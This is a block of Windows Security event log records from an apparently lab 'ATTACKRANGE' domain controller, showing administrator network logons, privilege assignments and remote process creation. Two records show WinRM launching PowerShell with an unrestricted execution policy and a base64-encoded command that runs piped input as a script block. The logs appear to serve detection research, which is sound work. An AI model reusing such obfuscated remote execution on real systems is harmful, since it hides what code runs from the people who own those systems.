	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247252
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247251
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd90
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247250
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfc4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3bc
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247249
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x115819

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247248
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x115819
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247247
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247246
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247245
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3bc
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247244
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

Process Information:
	New Process ID:		0x3bc
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247243
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247242
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247241
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247240
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247239
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x114F7A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247238
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFDAC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247237
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x114F7A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247236
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x114F7A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247235
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247234
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
